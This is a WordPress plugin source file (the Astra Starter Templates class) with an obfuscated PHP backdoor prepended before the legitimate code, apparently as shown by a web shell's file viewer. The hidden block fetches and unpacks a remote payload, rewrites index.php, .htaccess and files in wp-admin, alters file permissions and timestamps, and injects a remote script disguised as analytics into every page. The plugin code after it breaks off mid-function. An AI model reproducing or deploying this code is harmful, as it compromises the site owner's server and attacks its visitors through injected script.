Current Path : /var/www/wptbox/wp-content/plugins/astra-sites/inc/classes/ |
Current File : /var/www/wptbox/wp-content/plugins/astra-sites/inc/classes/class-astra-sites.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Astra Sites * * @since 1.0.0 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; } use AiBuilder\Inc\Traits\Helper; if ( ! class_exists( 'Astra_Sites' ) ) : /** * Astra_Sites */ class Astra_Sites { /** * API Domain name * * @var (String) URL */ public $api_domain; /** * API URL which is used to get the response from. * * @since 1.0.0 * @var (String) URL */ public $api_url; /** * Search API URL which is used to get the response from. * * @since 2.0.0 * @var (String) URL */ public $search_analytics_url; /** * Import Analytics API URL * * @since 3.1.4 * @var (String) URL */ public $import_analytics_url; /** * API URL which is used to get the response from Pixabay. * * @since 2.0.0 * @var (String) URL */ public $pixabay_url; /** * API Key which is used to get the response from Pixabay. * * @since 2.0.0 * @var (String) URL */ public $pixabay_api_key; /** * Instance of Astra_Sites * * @since 1.0.0 * @var (self) Astra_Sites */ private static $instance = null; /** * Localization variable * * @since 2.0.0 * @var (Array) $local_vars */ public static $local_vars = array(); /** * Localization variable * * @since 2.0.0 * @var (Array) $wp_upload_url */ public $wp_upload_url = ''; /** * Ajax * * @since 2.6.20 * @var (Array) $ajax */ private $ajax = array(); /** * Instance of Astra_Sites. * * @since 1.0.0 * * @return self Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. * * @since 1.0.0 */ private function __construct() { if ( ! class_exists( 'XMLReader' ) ) { add_action( 'admin_notices', array( $this, 'xml_reader_notice' ) ); add_filter( 'ai_builder_load_library', '__return_false' ); return; } $this->set_api_url(); $this->includes(); add_action( 'plugin_action_links_' . ASTRA_SITES_BASE, array( $this, 'action_links' ) ); add_action( 'init', array( $this, 'load_textdomain' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue' ), 99 ); add_action( 'elementor/editor/footer', array( $this, 'insert_templates' ) ); add_action( 'admin_footer', array( $this, 'insert_image_templates' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'insert_image_templates' ) ); add_action( 'wp_footer', array( $this, 'insert_image_templates_bb_and_brizy' ) ); add_action( 'elementor/editor/footer', array( $this, 'register_widget_scripts' ), 99 ); add_action( 'elementor/editor/before_enqueue_scripts', array( $this, 'popup_styles' ) ); add_action( 'elementor/preview/enqueue_styles', array( $this, 'popup_styles' ) ); add_action( 'astra_sites_after_plugin_activation', array( $this, 'disable_wp_forms_redirect' ) ); add_action( 'astra_notice_before_markup', array( $this, 'notice_assets' ) ); add_action( 'load-index.php', array( $this, 'admin_dashboard_notices' ) ); add_action( 'admin_notices', array( $this, 'check_filesystem_access_notice' ) ); add_filter( 'ai_builder_textdomain', array( $this, 'updat_ai_builder_textdomain' ), 10, 1 ); add_filter( 'ai_builder_languages_directory', array( $this, 'change_languages_directory' ), 10, 1 ); // AJAX. $this->ajax = array( 'astra-sites-create-template' => 'create_template', 'astra-sites-create-image' => 'create_image', 'astra-sites-search-images' => 'search_images', 'astra-sites-getting-started-notice' => 'getting_started_notice', 'astra-sites-favorite' => 'add_to_favorite', 'astra-sites-api-request' => 'api_request', 'astra-sites-elementor-api-request' => 'elementor_api_request', 'astra-sites-elementor-flush-request' => 'elementor_flush_request', 'astra-page-elementor-insert-page' => 'elementor_process_import_for_page', 'astra-sites-update-subscription' => 'update_subscription', 'astra-sites-update-analytics' => 'update_analytics', 'astra-sites-generate-analytics-lead' => 'push_to_import_analytics', ); foreach ( $this->ajax as $ajax_hook => $ajax_callback ) { add_action( 'wp_ajax_' . $ajax_hook, array( $this, $ajax_callback ) ); } add_action( 'delete_attachment', array( $this, 'delete_astra_images' ) ); add_filter( 'heartbeat_received', array( $this, 'search_push' ), 10, 2 ); add_filter( 'status_header', array( $this, 'status_header' ), 10, 4 ); add_filter( 'wp_php_error_message', array( $this, 'php_error_message' ), 10, 2 ); add_filter( 'wp_import_post_data_processed', array( $this, 'wp_slash_after_xml_import' ), 99, 2 ); add_filter( 'ast_block_templates_authorization_url_param', array( $this, 'add_auth_url_param' ) ); add_action( 'admin_head', array( $this, 'add_custom_admin_css' ) ); add_filter( 'zip_ai_modules', array( $this, 'enable_zip_ai_copilot' ), 20, 1 ); } /** * Set ai builder textdomain. * * @param string $textdomain Textdomain. * @return string * @since 4.3.8 */ public function updat_ai_builder_textdomain( $textdomain ) { return 'astra-sites'; } /** * Change languages directory. * * @param string $lang_dir languages directory. * * @return string * @since 4.3.9 */ public function change_languages_directory( $lang_dir ) { return ASTRA_SITES_DIR . 'languages'; } /** * Display notice if XML Class Reader is not Available. * * @return void */ public function xml_reader_notice() { $plugin_name = defined( 'ASTRA_PRO_SITES_NAME' ) ? 'Premium Starter Templates' : 'Starter Templates'; ?> <div class="error"> <p> <?php /* Translators: %s Plugin Name. */ echo esc_html( sprintf( __( '%s: XMLReader extension is missing! To import templates, please get in touch with your hosting provider to enable this extension.', 'astra-sites' ), $plugin_name ) ); ?> </p> </div> <?php } /** * Set reset data * Note: This function can be deleted after a few releases since we are performing the delete operation in chunks. * * @return array<string, array> */ public function get_reset_data() { if ( wp_doing_ajax() ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $data = array( 'reset_posts' => astra_sites_get_reset_post_data(), 'reset_wp_forms' => astra_sites_get_reset_form_data(), 'reset_terms' => astra_sites_get_reset_term_data(), ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( wp_doing_ajax() ) { wp_send_json_success( $data ); } return $data; } /** * Enable ZipAI Copilot. * * @since 3.5.0 * * @param array $modules module array. * @return boolean */ public function enable_zip_ai_copilot( $modules ) { if ( 'active' === $this->get_plugin_status( 